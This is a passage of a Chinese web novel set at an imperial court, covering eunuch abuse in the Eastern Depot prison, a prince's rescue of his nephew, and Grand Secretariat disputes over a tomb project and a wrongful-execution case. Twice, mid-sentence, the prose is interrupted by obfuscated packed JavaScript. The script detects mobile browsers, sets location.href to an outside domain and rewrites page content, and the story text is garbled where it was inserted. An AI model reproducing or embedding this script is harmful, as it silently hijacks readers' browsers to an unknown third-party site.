沈修竹长叹了一口气,“又看不见了吗?我说这褚逸医术到底行不行,都几年了,还是这样反复发作。当然你也难辞其咎,难道有天大的事情需要你亲自去处置吗?前几日你才刚从河南回来,奔波劳累不复发才怪。” 封衍静默片刻,“我若是身体康健,怕是早就死无葬身之地了。” 这一番话让沈修竹沉默了,从古至今,废太子不是被幽禁致死,便是身首异处,同封衍这般保住一条命已是万幸。 沈修竹深深望他一眼,再出口已是声音沙哑,“那你就该做个闲散王爷,万事莫管,现在这样折腾是嫌自己命太长了吗?” 封衍无意与沈修竹又争论这个问题,让人换了一盏热茶之后便问起封竹西。 “平章近日课业倒是比之前有所进益,不过在跟随我理一些案卷的时候还需……” 封衍帮他把话给戳穿了,“玩心重。” “他这个年纪贪玩也不奇怪,但他这两个月收敛许多,也不知是不是受了什么影响。” 封衍淡淡扫他一眼,“徐方谨。” 沈修竹气笑了,“你都知道了还问我干什么?” 封衍却端正了神色,“对于这个人你怎么看?” 闻言,沈修竹微微皱眉,轻轻摩挲了一下茶盏的杯壁,“只见过几面,不过是国子监的一个学生,我也没太在意,人看着沉稳,比平章从前交的那些纨绔子弟可靠。再者……” 再说就会触碰到封衍的逆鳞了,他们这些年几乎不会主动去说关于他的事情。 封衍眉眼沉敛,让人瞧不出半分情绪来,“你见过积玉,他有多像?” 沈修竹正襟危坐,收起了适才的散漫,斩钉截铁地说,“正是我见过积玉,才不会以讹传讹,品貌与性子全然不同,这便是两个人,如何混为一谈?便有几分熟悉,也不至于会弄错。” 封衍垂眸,一瞬间沈修竹也猜不透他是何种思绪。 室内沉寂了片刻,搅浑着彼此都说不清道不明的情绪。 封衍再看向他时,让人把案桌上放的册子给沈修竹递过去,沈修竹一开始不明就里,打开看过之后面色凝重了起来。 “沾亲带故的,这事情便有意思了。”沈修竹看过手上的册子,转头又问封衍,“你打算怎么做?” 话音刚落,便见青木快步走来,神情严肃,行礼过后禀告:“主子,小郡王今日为许宣季在醉云楼庆生,在杂耍班子带来的箱子里发现命案,东厂的人先到,将在场的所有人都带回了东厂。” 封衍指尖轻扣桌案,忽而轻笑,“什么都不用做,事情自己找上门了。” 沈修竹与封衍是多年好友,知道他这样的神情下是隐含的怒气,心里默默可怜了一会封竹西。 *** 浓郁的血腥气弥漫在狭窄细长的甬道里,惨叫声混着老鼠的啃啮在监牢里来回飘荡,穿过厚重的墙壁,失真的声响变成了不可名状的恐惧,充斥在整个牢房里。 一个颤抖的声音靠近铁栏,伸出的手五指用力青筋暴起,“这位爷,您行行好,烦你传个信,我爹是工部侍郎孙明宇,我什么都没做,让他快救我出去。” “砰”粗重的棍棒直接打了下来,不留情面,依稀可听见骨头错位的声音,最接近门的孙将时先是被捶打手臂,然后被提起,重重摔打在地上,直接滑溜到封竹西的面前。 在场的公子哥平日风花雪月惯了,哪里见过这种仗势,脸唰的一下就白了,软了手脚,直哆嗦地说不话来。 “什么你爹我爹的,在诏狱,我就是你爹。”只见领头的太监居高临下地扫视着监牢里的人,看到他们惊恐的神情后,轻蔑一笑,声音拉长显得悠闲自得,“刚刚哪个进来没交打桩钱?” 身后的东厂番役堆着讨好的笑,伸手指了指角落里的那一个。 刚进诏狱,早在搜身那个环节就被盘剥过一轮了,走进监牢里连个铜钱都别想带进去,刚才左兴澜鞋侧边镶上了宝石,现在都是拖着白袜缩在一边。这些整日里吆五喝六的贵公子,此时都像是拔了毛的鹌鹑,一个个不吭声,生怕下一刻撞了霉运。 “现在还没查清真相,命案又不是他们犯下的,你们又何必这般作践人?”封竹西实在是愤愤不平,他从进来开始就已经忍了很久了,此时见到他们这样对孙将时,好歹是从小的玩伴,心里的郁气喷涌而出。 尖嘴猴腮的内监好整以暇地伸出五指对着火光,慢悠悠地从指缝里看封竹西,似是发现了什么,“呦,这不是小郡王吗?您打哪犯事了,都进诏狱了。” “我们没犯事,是你们不分青红皂白就把我们全部抓进了东厂。”封竹西站起身来,跟在他背后的徐方谨也跟着站起身来,侧身全神贯注地观测眼前的状况。 內监的眼神沉了下来,尖长的声音拿腔作调,“不分青红皂白?小郡王可不能张口胡来,我们东厂可是替皇上办事,是天底下最公正的地了。” 他懒懒地看向了刚才番役指的角落里的人,随意挥挥手就让人拖出来,自己个则坐在了番役准备好的软椅上,往后一躺,“这皇城根呀,哪都有规矩,进了我东厂,不交打桩钱,就是看不起我们这些弟兄。” 话音刚落,便又身后的番役以迅雷不及掩耳之势狠狠踹了那人一脚,只见那人闷哼一声,一口鲜血喷出来,直溅到内监的皂靴上。 “我呸!你们这些人狗仗人势!”被踹的男子仰起头来,惨白的脸扯出一抹讥讽的笑来,他一抹唇边的血,大喘着气,胸膛剧烈起伏。 徐方谨只一瞬便想起了他是谁,同是国子监学生的温予衡,是小郡王交友里难得的才学之士。他们偶然见过一面,只知道他家境贫寒,身子骨也比较弱,哪里能受得住诏狱里的毒打? 一时的血气把命都送上,太不值得,且听闻他寒窗苦读多年,前岁发了寒症未能参加会试,正埋头准备今年的科第。 內监对这些嘴硬的人早就司空见惯,眼皮都没抬一下,身后的下属心领神会,纷纷拎起棍棒向前去。 徐方谨不过思索一刹,身体比脑子还快,抬步就去扯地上躲闪不及的温予衡,却被身后的乱棍一棒敲到了肩背和后脑,强撑着意志将人用力拖离棍棒之下。 重重的空棍掀起层层尘埃,仿若地动山摇,砸的人脑袋嗡嗡直响,谁都没想到徐方谨怎么不要命地在棍棒下救人。 “慕怀!”封竹西瞳孔骤然收缩,三两步追上前去,将昏过去的徐方谨扶过,然后怒目圆睁,朝着动手的那群人怒吼:“你们到底要做什么?” 居其中的內监满脸晦气地扫了一眼怒气满满的封竹西,不紧不慢地抬了声音,“小郡王,我们奉令审案,你可不懂东厂的规矩,咱家说个实例你便知晓了。去年,江西的鲁王再次请旨册封世子,却迟迟不到御前,张公公怜惜鲁王长子已经十五岁却位份不定,上达天听,这才有了旨意。”他转过头去看向身旁的侍从,“对了,今年,晋王一大家子几千口人都揭不开锅了,上街打劫商铺,掠夺民财,守备太监看不惯晋王欺辱百姓,上报内廷,落得个褫夺封地的结果。” 他这番话说的虽是天潢贵胄,但内里的轻蔑和不屑溢于言表。久处宫禁,百八十个王也不是没听过,见过位高权重的,也见过没落衰敝的。他们向来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251938|182005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看菜下碟,自恃深临君恩,平日里被人巴结惯了,早就不将等闲人看在眼里。何况在他眼里,封竹西还是个不得宠的郡王。 封竹西紧紧抿着唇,身侧拳头紧握,勉强克制着自己的脾气。 似是享受被这样那样惊诧的目光包围,內监坐直了身子,换了种随意的口气,“就说这东厂吧,五年前的诏狱,废太子都曾在这住过,靖远侯大摇大摆地走进来,带着陛下的旨意肆意凌辱废太子,有时候这富贵荣华,不就这么些事嘛。” 在场的都是膏腴子弟,这京都的传闻多少都知道些,被一个太监以这样的口吻讲出,心头不免生出了悲愤来。 內监有些不耐烦了,抬手就想让人用刑,却被监牢外的一个声音冻得浑身胆寒。 “久闻东厂人才济济,今日方知所言不虚。” 下一秒,坐在软椅的尖嘴內监被连滚带爬进来的宋石岩一把巴掌扇倒在地,像是还不解气,立刻又重重踩了好几脚他的脸,“叫你张口胡诌,败坏我东厂名声。” 罢了,又满脸堆笑地躬身到了封衍身边,自个扇了几下巴掌,小心翼翼地讨好,“王爷,都是误会,这不知死活的东西嘴上没个把门,全是风言风语,你别当真,奴婢这就好好收拾这玩意。” 宋石岩面对自己这帮下属,脸色可就没有那么好看了,挺直身板,面色沉冷,“来人,把这狐假虎威的东西给我拖下去打五十棍。” “干爹救命啊,我不是……”还没说上完整的一句就被人拿布团塞住了嘴,三下五除二捆绑成一团。 五十棍,深知东厂习性的属下都知这是往死里打的命令,照理来说无需二十棍,人便没气了,而宋石岩的意思却是用五十棍打死,是一场漫长折磨的酷刑,五十棍下来,怕是全身筋骨俱断。 所有人算是真的体会到了什么叫做富贵荣华不过白云苍狗,刚刚趾高气昂还动辄对他们用刑的人,转眼就变成了棍下亡魂。 封衍没有理会宋石岩的谄媚,径直走进了监牢里,眼前浅能见物,却不真切,锦袍袖下遒劲的指骨一粒一粒拨弄着檀木念珠。 身旁人擎着火把,封衍几步停留在了呆眼傻坐着的封竹西面前。 “乐不思蜀了?” 到目前为止封衍才说过两句,这两句的反讽意味太足,但没有人在这个时候能笑出声来。封竹西见了封衍都哆嗦了一下,僵硬的手脚不听使唤,连话都讲不圆了,“不是…我…我不…” “郡王爷,都是奴婢的错,受惊吓了吧,您大人不记小人过,饶小人一回吧。”宋石岩好声好气地准备扶封竹西起来,下一秒却被他躲过。 换做从前,见惯宫里毕恭毕敬内侍的封竹西不会有这般举动,但他刚刚见识到趾高气昂的內监那般作态,下意识便拂了宋石岩的好意,他还没转过弯来,只觉得这尖嗓里发出的声音格外刺耳。 宋石岩不动声色地敛下几分冰冷的神色,走到一旁保持恭敬的姿态。 “四叔,我想带……”封竹西缓了过来,但话掉了半截,瞪大眼睛看着徐方谨的手无意识攥紧了封衍的月白色的衣摆,惊恐的目光定定落在了那衣上。 不只是封竹西,其他看到这一幕的人眼神都充满了震悚。怀王早就不是当年那个仁厚贤德的太子殿下了,这些年他以平西南,废藩王,戮大盗,杀重臣,手上过的人命不知凡几,听闻久染宿疾,性情阴晴不定。 如今徐方谨此举无异于在老虎脸上拔毛,不由得为他捏了一把汗。 封衍面上并不异色,只是一抹冷意在眸底一闪而过,他忽而抬手,握上了青越腰间的佩剑。 封竹西也不顾的什么了,直接就闪身过去,生怕封衍直接把徐方谨砍成两半,只见眼前寒光乍现,冰冷的剑锋擦脸而过,他惊呼一声不要。 下一秒却听到一声清脆的布帛撕裂声,封衍利落地收剑,未曾看昏迷的人一眼,抬步就离去,“一并带走。” 如同劫后余生,封竹西惊魂未定地拍了拍自己的胸脯,真想给徐方谨磕一个了,怎么就抓到了封衍的衣摆呢?这搞不好就是要丢命的。他手忙脚乱地跟青木一同扶起徐方谨。 临走前封竹西不忘给宋石岩带一句,“我们这些就是出来庆个生,也不知怎么就遇上了命案,希望东厂能秉承事理人情,不要擅动私刑。” 宋石岩拱手送客,“这是自然,小郡王放心。” 等到人走远了,宋石岩的脸色骤然阴沉了下来,甩手就狠狠踹了身旁属下一脚,“废物,连这点事都办不好。” 4. 第四章 黛瓦朱墙,飞檐流阁,巍峨的宫门静默矗立,青砖御道两侧排开一盏盏铜鹤金灯。午门内东南隅外,外门西向,阁南向,便是大学士直舍,又被人称为内阁。 此时,阁内议事堂分列两排,端坐其上的是两个身着绯红织云纹蟒袍的宦官。居左的宁遥清头戴梁山冠,腰间系玉带,正不紧不慢地翻着今日的邸报。他坐得端直,如松柏植于中庭,眉宇间疏朗自如,淡然处其间,仿佛万事不沾身的谪仙人。 坐他身旁的宋石岩冷冷瞥了他一眼,又将视线转回了堂中,轻咳几声,让堂内正在交谈的几人看了过来。 “怎么,还没议出个章程来?皇上的陵寝是千秋大事,可耽搁不了。” 向来直来直去的礼部尚书王士净一捋胡子,站起来率先对答:“兹事体大,但也不能不顾社稷民生,今年河南和山西等地遭百年难遇的旱灾,赤地千里,饿殍遍野,而工部的坐办银却催得急如星火,这不是将人往死路上逼吗?” 宋石岩听到这熟悉的话耳朵简直要起茧子了,心里腻烦得紧,于他而言,山长水远,遭灾又同他扯不上干系。干爹在宫外两个多月了,临走前将与外廷商议陛下陵寝修建的事叮嘱再三,他事事上心与这些外臣处处扯嘴皮子,能推进的事情少之又少,他案上还压着干爹问责催促的好几封信。 这一场议事从今早到现在暮色黄昏,中途歇息的时候他又匆匆赶去处理东厂的事情,天知道当他看到怀王亲自到东厂接人还听到那一番大逆不道之言时的天崩地裂,心绪到现在都没有平复,又来回拉扯了一日,早就不耐烦了。 他将手中的议事折子种种砸在了案上,厉声喝到:“遭灾自有户部有司拨款,临省协济,几次三番拿出来搪塞,以图拖延营建吉壤,王大人这是何意图?难道连皇上都不放在眼里了吗?” “我王士净做事向来光明磊落,是不是搪塞这奏报上写得明明白白。今日是议事,若是不让人商议,大可一旨诏书下发内阁。陛下体恤民生之艰,才让我等议两全之法,宋公公扣这么大顶帽子下来老夫可承受不起。”王士净一拱手,硬邦邦地回怼回去。 听得宋石岩是满肚子火气,咬牙切齿地说,“我没有不让内阁商议。” 心里骂了一千遍一万遍死糟老头子了,脾气倔得跟驴一样。他同样清楚,内阁绑在一块对外的时候心里都在作什么妖,这么多次了,其他人就躲在后头,偶尔当个和事佬,不反对,也不赞成,反正议着,遇到问题就让王士净这个倔驴冲在前面,他焉能不知道他们的小心思。 可恨自己看上去是有个盟友,可却是一个任何事都想不插手的主,闲庭信步的仿佛是在看自己的笑话,宋石岩肚子里憋了的火气直冲天灵盖。 他一转过头,对着宁遥清发难了,“宁公公要作壁上观到什么时候,别忘了,司礼监奉命监工,这可不是我一个人的事。” 宁遥清轻轻合上了邸报,放在一旁,不咸不淡地看了堂上一眼,“巧妇难为无米之炊,若逼迫地方遭灾百姓,便是竭泽而渔,恐激起民变,不如让工部再议有何其他可替的木石料材。” 宋石岩勉强压着火气,马上转头看向了工部尚书金知贤,“金大人,可有其他法子?” 金知贤稳如泰山,坐了一日丝毫看不出疲惫,眸光微闪,“也不是不可替代,只是……” “只是什么?” 金知贤站起身来,“修建陵寝的石像生和神道的砖石照宫里的意思择取,大抵只有云贵两省有适合的。亦或是,福建巡抚前几日上报说发现瑞石,快马加鞭送来,经过工部勘验,是好料子。” 话一出口,王士净坐不住了,就知道金知贤没出什么好主意,“云贵辖地近日再起叛乱,苗民骚乱皆因地方有司处事不公,屡有偏袒,军情紧急,正是安抚的要紧时候,若此时加派,更是雪上加霜。而福建距离京师千里,只为运石料,耗费国帑不可胜数。” 宋石岩却摆手,着急地让人跟金知贤一同推进,敷衍地看了一眼王士净,“这营造修建一事向来是工部的事,王大人是礼部尚书,还是做好自己的分内事吧。” 金知贤喝了一口茶,观察了各方的反应之后才开口,“静翁这脾气是得改改,火气那么大不利于修身养心。知晓你是因治理云南有功升上内阁的,对云南感情颇深,可也不能因为个人私情而不顾朝堂大局。” 简直杀人诛心!王士净这几日因为陛下陵寝的事情忙得是焦头烂额,还有抽空同兵部商议如何妥善处理苗民叛乱,毕竟是边境地区,这一乱周遭地区便可能会有无穷的祸患。陵寝一事本与工部干系最大,但宫里对于陵寝规格和耗材的比之以往过于奢靡,又催着日子赶工,影响了朝堂里其他的用银裁夺,这才有了内阁努力去争取和权衡。 内阁上承皇上,下领百官,若事有差池,便招致无穷无尽的非议,内阁里的几个,哪个没有被人骂过。人无完人,如何能事事周全?也只能勉励去做,挨骂也是难免的。 再者,进入内阁除了出身,便是资历,能入内阁,大抵都在地方有过亮眼的政绩,随后迁转京师,升列台阁。而王士净入云南的时候只是一个藉藉无名的七品小官,当时正值云南爆发叛乱,七年里平叛教化,和衷邻国,得以逐步升迁,后来入阁掌机要,这些年因为品性耿直刚强,做事清廉干练,在文官中名声素佳。 王士净一拍桌子,怒气冲冲朝着金知贤,“云南叛乱是实情,这些年来苗民冲突愈演愈烈是有目共睹,我若有半分私情,天打雷劈不得好死!” 贺逢年履任兵部侍郎,平日里与王士净也有所往来,素知他为人,本想去劝,却被身旁的老师谢道南拉住,眼神示意他不要轻举妄动,他冷静再三,到底是静默不语。 发完誓之后,王士净冷笑了一声,霍然起身,“若论起私情,谁比得上金阁老。今年年初浙江巡抚韩成康托病请辞,韩成康现在在家还能吃两大碗饭呢!他为什么请辞,还不是你的好学生齐璞专擅独断,不能容人。他是浙闽总督不错,但手也伸得太长了吧。这么些年都挤走四任浙江巡抚了。他要干什么?你要干什么?” 金知贤向来老谋深算,但碰上这个当众毫不留情揭开脸面的王士净还是有些气息不稳,他深深地看了满脸怒容的王士净一眼,“韩成康那是因病请辞,谁说他托病了?他与齐璞不和就该上报朝廷,我看就是他意气用事,心浮气躁,不堪重任!如果我没记错,韩成康还是王大人举荐的吧。你想干什么?以请辞胁迫内阁吗?” 你不仁我不义,王士净从来都不是忍气吞声的主,“去年浙江妖言案,齐璞他先斩后奏,以剿匪的名义杀了两百一十二人,身为封疆大吏,他难道不知道死刑案需要上报朝廷,经有关法司勘察和覆审的吗?如此草菅人命 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顾慎之于太和三十三年榜眼及第,因在鹿鸣宴上得罪了当朝高官失去了进入翰林院的机会,下放到福建的偏远知县做了一个八品县丞。多年来他勤心用事,政绩卓越,后来因经办了福建的一起惊天杀人案,扳倒了在当地盘踞上百年的明氏宗族,深得当地百姓爱戴,也得到了王士净的赏识,前年升任了户部侍郎。 多年来,王士净一直在运筹着能让顾慎之能兼任翰林院教职,为着日后能升列台阁做准备,但金知贤屡次暗中打压阻止,一拖便是好几年,宿愿未成,王士净自然是新仇旧怨那股气堵在心里许久。 “王大人今日火气可不小,眼看着都在胡说八道了。我若有任何罪过,那便上奏参我,拿出实证来,而不是在这里挟私报复,胡乱攀扯。”金知贤的火气也被挑了出来,拂袖而起。 端坐其上的宋石岩差点笑出声来,宦官与外廷向来不和,看到文官这样吵架,心底里憋了许久的火得到了看热闹的发泄口,他晃着腿,正想拿块糕点充饥,却在转头的时候看到了宁遥清平静深邃的眼眸一直在看他。 一瞬间宋石岩头皮发麻,以他对宁遥清的了解,绝对没有好事。他勉强镇定,不甘示弱地回瞪过去,“宁公公这样看我还怪渗人的,有何指教?” 宁遥清淡淡收回目光,垂眸落在了手中的青瓷冰纹茶盏上,“宋公公压着的人也该放了吧。” 一语惊醒梦中人! 今日议事厅商议了几个时辰,期间内外递送消息的人都进不来。宋石岩在去东厂前,手下提到了今日在京都传得沸沸扬扬的陆云袖法场救人一事,监斩官和刑部的司官火急火燎地递牌子想要与内阁询议,但都被宫里的內监以正在议事为由全部堵了回去,怕是现在等得嘴角燎泡了。 宋石岩现在才觉得真正心狠手辣的人是宁遥清,现在放出这样的消息出来无异于火上浇油。 不过对于这样的事宋石岩也是乐见其成,他重重咳嗽了几声,打断了金知贤和王士净之间的争吵,“两位大人都是朝廷的肱股之臣,何必闹成这样,都是为了朝廷着想,没有谁对谁错。这样吧,咱家看也不早了,今日就到这里吧。” 宋石岩挥了挥手,外头的内侍得令之后便放人进来。 快步走进来的魏铭已是神情憔悴,又等了许久,眼瞅着就心烦气躁,快步走到了金知贤的身边,俯身耳语了几句,只见金知贤脸色陡然一沉。 而另一边,得知消息的其他阁臣也都面色不虞。 议事厅内的气氛蓦然吊诡起来。 5. 第五章 “若早知有冤情,何不早报内阁?分明就是沽名钓誉,踩着同僚的尸首等着升官呢!” 刑部浙江清吏司主事愤愤不平,案纸都快揉碎在手里了,他负责这个案件最初的审理核查,听到这个消息的时候腿已经软瘫得不能动弹了,好一会才缓过来,匆匆赶来,又被拦着大半天,心力交瘁到了极点。 魏铭不愿回忆那个场面,但对着金知贤明显沉冷的脸色,他硬着头皮道:“现在京都里到处物议沸腾,今日在场的百姓对着陆云袖皆山呼‘青天大老爷’,民情如此,实在是棘手。” 金知贤坐在黄花梨螭纹圈椅久久未语,无人能猜透他的所思所想,但许多人都感受到了不安,是对未知情形的茫然,也有对平静水深下暗藏杀机的胆怯。 宋石岩有些狐疑,他本来以为这件事的陡然爆发会引发内阁更大的争吵,但议事厅里,只有几个小官交谈和禀报的细微声响,几个阁臣和堂官都保持缄默,脸上的神色莫名。 他不动声色看向了王士净,刚刚差点就要跳起来的王士净现在连一句话都没有,一脸沉思而不知道在想什么。 过了许久,王士净突然出声:“为今之计,是查明真相,以平民愤。首善之地,天子脚下,出现这样的事简直匪夷所思。” 直切当前的要旨,丝毫没有适才的剑拔弩张,唯有平心静气的提议 金知贤闻声看来,眼底的阴翳褪去了几分,“静翁所言在理,此事牵连甚广,应查处真相为先。” 这突如其来的变故可把宋石岩弄得不明所以。似是想到了什么,他忽然转过头去看宁遥清,却发现他正好整以暇地拿着一卷书在看,仿若游离方外,不沾染凡尘,心中的狐疑更甚。 宋石岩憋了一肚子的疑惑,心中莫名多了些焦躁,视线不知怎么就落到了宁遥清一下一下轻打在椅边的指尖上。 “滴答滴答,滴答滴答……”窸窣的声响好似被无限放大,充斥在宋石岩的脑海里,如阎王索命前的铃响。 “叮!”宁遥清的指尖倏然停住,宋石岩脑海里的一直紧绷着的弦乍然断了。 同时,一阵脚步声传来,议事厅内的所有人都看向了大步而来的司礼监掌印太监王铁林,纷纷变了脸色。 “诸事纷扰,各位大人近日辛苦了。”王铁林面容和善,几步的功夫就到了堂前。 宋石岩差点吓破了胆,忙不迭就从圈椅上滚了下来,而后立刻躬身去扶王铁林就坐,一旁的宁遥清坐着没动,随手翻过书册的一面来,身旁的内侍恭敬地给他换了盏热茶,热气缭绕,远远看去仿佛隐现于云海之中。 “多日不见,宁公公别来无恙。这些日子宫里宫外多亏了你照拂。” 宁遥清抬眸,面上的表情依旧是淡淡的,“王公公辛苦,我不过坐而论道,谈不上照拂。” 王铁林眼底略过几分不悦,但面上依旧和蔼,“宁公公说笑了。”他转过身来,站立于高几阶的台上,声音猝尔扬了起来,“杂家来宣皇上口谕。” 众人听后全部齐身跪地,坐了许久的宁遥清也起身走下来跪下听旨。 “陵寝一事拖沓已久,陛下深感不悦,着令工部尚书金知贤三日内递交一干章程,不得有误。” 金知贤立即磕头,“臣身为工部尚书,使主上不悦,实是臣之过错。臣定当反躬自省,尽心竭力,不负陛下如天之恩。” 而跪在一排的王士净和谢道南交换了一个默契的眼神,彼此眼中的情绪都难以言说。 王铁林接着再宣:“陛下今日听闻市井非议,不胜惊骇。煌煌帝京,竟有如此冤情,秉承天理人情,苍生社稷,此案定要查个水落石出。着升刑部河南清吏司主事陆云袖为刑部河南清吏司郎中。同刑部侍郎、刑部浙江清吏司郎中、延平郡王共同审理此案。” 宣完口谕之后,王铁林和颜悦色地送客,“天色不早,各位大人可以回府了。” 每个人的表情都很怪异,似是还没从旨意的冲击中缓过来,三三两两走出议事厅,抬头便见火红的晚霞在天际铺开,心里的困惑和不平一团一团冒了出来。 “陆云袖法场这么一闹,名声有了,官位也升了,真是一桩好买卖,日后我们都不用实心做事了,都去闹上一闹,指不定有一日能入阁呢。” “她分明是冲金阁老来的,什么案子不查,非盯着浙江的这起杀妻案,闹得沸沸扬扬的。这案子的冤情一出,从浙江到京师,迟早给她捅出个窟窿来。怕是日后我们都要做她的垫脚石了。” 最后几个不忿的音渐渐小了下去,魏铭瞥见金知贤的脸色不大好,也不敢随声附和,渐渐这一头没人再敢出言抱怨了。 金知贤目光放远,望向坠落在重檐庑殿顶的一片黛赭,“关匡愚今日进宫面圣,老夫本来以为他早已准备退隐,没想到还是为了弟子出手了。” 周围的人面面相觑,有胆子大的想趁机博个好脸,“阁老莫要担心,陛下将陵寝一事交由您定夺,这是心里念着阁老呢。魏大人同审此案,他是刑部堂官,陆云袖不过是一个五品郎中,掀不起什么风浪来。” 金知贤冷厉的目光陡然扫过来,直让那人打了个寒颤,魏铭知晓自己老师的脾性,低声嘱咐身旁的人先行一步,自己则谦恭地跟在金知贤的身后。 人去鸟散,金知贤才道:“立刻去信给齐璞,让他给我好好解释这件事,真是越来越不像话了。” 魏铭低头喏声应事,接着又听到金知贤的叮嘱,“不要轻举妄动,审案的事等我消息。” 另一头,走在御道上的王士净和谢道南同样议这件事。王士净怎么都想不明白为什么审案里头会突然加一个延平郡王,不过是一个十五六岁的少年,涉世未深,听闻所交之友大多也是京都里有名的纨绔子弟,也不曾崭露头角,半点风声都没有。 跟在他们身后的贺逢年却说起了今天发生在东厂的那件事,猜测这件事可能和延平郡王产生关联,这一下让谢道南陷入了深思,“醉云楼发生命案,最先到的却是东厂,此事必有蹊跷。陛下让小郡王查案,莫非……” 但事关宦官,许多事投鼠忌器,他们无法言说,只能静观事态发展。 王士净眼下却有了更担心的事情,也是他对皇上心思捉摸不透的地方,“浙江的这起冤案,若真要还苦主青白,理应让三司会审。上了死刑场的人,最终又回到刑部审理,这是作何说法?若陛下真的不想牵连到金慈明,又何必让陆云袖也去审核此案,她的品性可是出了名的刚强。” “若说刚强,谁能比得上你王介夫,今日当堂同金慈明争执,你还是太急躁了。”谢道南毫不留情地评判了王士净今日的所作所为。 王士净立刻吹胡子瞪眼,“金慈明眼里哪有百姓,好歹也是从地方一步步升任的,丝毫不念民生之艰,曲意奉上,老夫就是看不起他,该骂!这回就该让陆云袖闹去,以她的性子,定能把浙江撕开一个口子来。怎么多年了,齐璞仗着有金慈明护着,越来越藐视朝廷了。” 谢道南无奈叹气,直骂他老顽固。不过他心底里清楚,若王士净真的没有分寸,适才在得知陆云袖这个事情后就会以此来攻击金知贤,但他没有,反而冷静地提出当前应该如何解决此事,而不是陷入互相攻讦的混乱。金知贤手握权柄多年,岂是一朝一夕就能让他陷入一败涂地的境地的?且此时西南边境动乱,北境虏寇虎视眈眈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251940|182005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多省遭灾,诸事纷扰尚不能治,实在不宜掀起更大的风浪。 *** 怀王府内,一个声音划破天际,惊飞枝头上的鸟雀。 “什么,你们要用刑?” 封竹西此时的表情可以用极其惊愕来形容了,萌生了一种才出虎穴,又入狼窝的心里恐惧感。 封衍高坐其上,身旁站着整肃端正的沈修竹,而面前的偌大空地则摆放着几张长板凳,其旁站立拿着棍棒的行刑人,一个个体型健硕,神情严肃。 封衍看向如临大敌的封竹西,由于旧疾突发,只能通过模糊的远影看到些许的轮廓,从他不稳的声音听出他的情绪。 面对封竹西的质疑,封衍神色淡然,抬手让早就在一边候着的国子监监丞站出来。下面聚集在一起的公子哥现在一个个静如呆鸡。在场只要入学国子监的,没有不认识国子监监丞的。监丞掌绳愆厅,约束师生言行,纠惩之并书于集愆册。 平日里他们偶有犯错,只要私底下让监丞通融一下,也不会有太大的麻烦。但现在的情形却让人不免胆寒。今日有些人是逃学出来给许宣季庆生的,好几个月没见到小郡王,大家心存侥幸,想着应该不会出事的。 监丞上前一两步,扬声道:“诸位都知道国子监的规矩,无故逃学,杖责二十。” 立时下面一片哀嚎遍野。 封竹西傻了眼,不禁失声发问,“你们真逃学呀?” 他只在国子监挂了名,得到国子监司业的准允不在国子监进学,而是跟着沈修竹修习课业,自然不知国子监平日的规矩。 封竹西不由得转过头去看身边的徐方谨,生怕在他的嘴里听到些不好的回答,下一刻他的话让封竹西松了一口气 “我告了假。” 但一颗心还是揪着,毕竟被打的好些人是多年的玩伴。 无需多言,在监丞的高声唱名中,每一个板凳都躺好了人,齐声令下,闷棍加诸,嘴里塞着棉布,故而只能听到整齐的打肉声在院内回荡。 封竹西不忍看,攥着徐方谨的衣袖躲着,耳边传来的一阵阵让他心惊肉跳。 挨的近的两个人落在了封衍的眼里,古井无波的眼底淬着寒冰,敛下幽冷深邃的目光,他对青越轻点了一下头。 二十杖毙,这些养尊处优的膏腴子弟仿佛已经从鬼门关里走一遭了,浑身汗湿,筋骨剧痛,浑像霜寒打落的枯枝残叶,不复往日的生气。 早就备好的医官快步上前来,有条不紊地进行救治和处理伤处。 就在封竹西以为今天就是这样的时候,突然监丞又走了出来,喊了徐方谨的名字。 “四月十六日,你在何处?可曾逃学?” 徐方谨早在怀王府上演这一场杖责时便有了清晰的认识,今日这一遭,是为了敲打封竹西身边的人,杀鸡儆猴,他自然会有这一劫。 于是他十分坦荡,淡然地上前,“是,四月十六那日我未曾进学,甘愿受罚。” 封竹西现在是彻底懵了,他有些搞不清状态,却在电光火石之间想起了四月十六是什么日子。那日他被沈修竹罚了抄书,熬了一宿才抄了一些,没办法的他倒头就睡了过去,谁知睡了一整日,到了第二日下午,起身的时候却发现徐方谨已经仿照他的字迹帮他全部抄好了。 他那时便忐忑不安,沈修竹是书道大家,这点把戏怎么可能过得了他的眼,岂料他一直没指出来,让他以为他蒙混过关了,谁知有更大的事情埋在这里等着他。 就在徐方谨往前走要去受罚的时候。 封竹西大呼一声:“等一下!” 在场的所有目光忽然都集中到他的身上。 6. 第六章 此时落针可闻,正被医官抬下去的受伤监生脸色各异,齐刷刷看向了这边,不平和愤懑一层层堆叠在心口,活像吞了一万只苍蝇,扭曲的脸上汗水四溢,皮开肉绽的伤处刺激着他们眼角发酸发痛。 这样太不公平了…… 人比人气死人,同样是逃学,怎么轮到徐方谨小郡王就不舍得了,着急忙慌地阻止,生怕动到他一根手指头。 太恨了,几个从小跟随封竹西的公子哥差点晕厥过去,十多年的情分竟然比不过一个赝品,一口气险些没喘上来,莫大的怒气塞满了脑海,化作了对徐方谨的憎恶。 封竹西此时哪里还顾得上什么,飞快起步往封衍那边跑,面上全是心虚和紧张,停在几步之外,看到沈修竹还下意识问好,一张口全是结巴。 “这…我…我不是…就是…” 